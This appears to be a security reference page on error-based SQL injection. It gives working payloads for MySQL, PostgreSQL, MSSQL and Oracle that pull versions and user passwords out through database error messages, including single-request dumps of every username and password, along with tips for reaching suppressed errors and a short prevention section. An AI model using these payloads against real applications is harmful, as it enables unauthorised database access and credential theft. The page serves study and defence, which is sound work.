Skip to content
criticalCVSS 9.1CWE-89A03:2021 – Injection

Error-Based Injection

Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.

Overview

Some database errors quote the value that caused them. If you can arrange for the offending value to be the result of a subquery, the error message becomes your output channel.

The general shape is always the same: take a function that will fail on a value of the wrong type or format, feed it your subquery, and read the answer out of the exception text.

This is dramatically faster than blind inference — you get a whole string per request instead of one bit — and it works when UNION does not, because the query's result set never needs to reach the page. It requires only that error text is displayed.

MySQL

The XPath functions extractvalue() and updatexml() report malformed XPath expressions and include the offending string. Prefixing your data with ~ (or any character invalid in an XPath expression) guarantees the parse failure.

The 32-character limit is the catch. The XPATH error truncates at 32 characters, so anything longer must be paged out with SUBSTRING.

MySQL error-based extraction

SQL
-- extractvalue: the ~ makes the concatenated value an invalid XPath
' AND extractvalue(1,CONCAT(0x7e,(SELECT @@version)))-- -
-- => XPATH syntax error: '~8.0.35-0ubuntu0.22.04.1'

-- updatexml: same idea, same 32-char cap
' AND updatexml(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1)),1)-- -

-- Longer than 32 chars? Page through it.
' AND extractvalue(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM users LIMIT 1),1,31)))-- -
' AND extractvalue(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM users LIMIT 1),32,31)))-- -

-- Pre-5.5 (no XPath functions): the duplicate-entry / floor() trick
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),
      FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)-- -
-- => Duplicate entry '8.0.35-0ubuntu0.22.04.11' for key '<group_key>'

PostgreSQL

PostgreSQL has no XPath trick, but its type system is strict enough that a failed cast reports the value verbatim — and with no length cap, which makes it more convenient than MySQL's in practice.

PostgreSQL error-based extraction

SQL
-- Cast text to int: the error quotes the whole string, untruncated
' AND 1=CAST((SELECT version()) AS int)-- -
-- => ERROR: invalid input syntax for type integer: "PostgreSQL 16.1 on x86_64..."

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -

-- Aggregate everything into one error
' AND 1=CAST((SELECT string_agg(username||':'||password,', ') FROM users) AS int)-- -

-- Division by zero as a conditional oracle when casts are filtered
' AND 1/(CASE WHEN (SELECT current_user)='postgres' THEN 0 ELSE 1 END)=1-- -

Microsoft SQL Server

MSSQL's conversion errors are the most generous of any engine: the message names the value, the source type, and the target type, with no truncation.

MSSQL error-based extraction

SQL
' AND 1=CONVERT(int,(SELECT @@version))-- -
-- => Conversion failed when converting the nvarchar value
--    'Microsoft SQL Server 2019 (RTM-CU18)...' to data type int.

' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))-- -

-- Aggregate with FOR XML PATH
' AND 1=CONVERT(int,(SELECT username+':'+password+'; ' FROM users FOR XML PATH('')))-- -

-- CAST is equivalent and sometimes slips past filters tuned for CONVERT
' AND 1=CAST((SELECT DB_NAME()) AS int)-- -

Oracle

Oracle offers several routes. CTXSYS.DRITHSX.SN and XMLType both embed the value in the exception. XMLType is generally the more reliable of the two because it does not depend on Oracle Text being installed.

Remember that every Oracle SELECT needs a FROM, and that LIMIT does not exist — use WHERE ROWNUM=1.

Oracle error-based extraction

SQL
-- XMLType: the value becomes an invalid XML document and is echoed back
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62)))
         FROM dual)-- -
-- => ORA-19202: Error occurred in XML processing
--    LPX-00007: unexpected end-of-file encountered SYSTEM

-- CTXSYS.DRITHSX.SN (requires Oracle Text)
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE ROWNUM=1))-- -
-- => ORA-20000: Oracle Text error: DRG-11701

-- utl_inaddr: doubles as an out-of-band channel
' AND 1=(SELECT UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual)) FROM dual)-- -
-- => ORA-29257: host SCOTT unknown

SQLite

SQLite is the outlier. Its dynamic typing means CAST('abc' AS int) silently yields 0 rather than raising — there is no type error to harvest.

A few errors do carry text (load_extension on a missing file, for instance), but they are unreliable and often unreachable. For SQLite, go straight to Boolean-Blind; sqlite_master makes schema discovery quick regardless.

When Errors Are Suppressed

Production applications usually return a generic 500 page. Before giving up, check whether the error survives anywhere else:

  • a X-Error or debug header
  • a JSON body with a message or detail field, even when the page is generic
  • a different response for a database error versus an application error — even a bare status-code difference is a boolean oracle, which downgrades you to Boolean-Blind rather than blocking you outright
  • verbose responses on a staging or API subdomain that shares the backend

If the error truly never reaches you, error-based extraction is unavailable — but the injection is not.

Prevention

Parameterise, which removes the injection. Independently, never return raw database errors to clients: log the detail server-side with a correlation ID and return a generic message with that ID.

Suppressing errors is a mitigation, not a fix. It downgrades a fast error-based extraction into a slow blind one; it does not remove the vulnerability. Treat a verbose error as a finding in its own right and the injection as the finding to actually fix.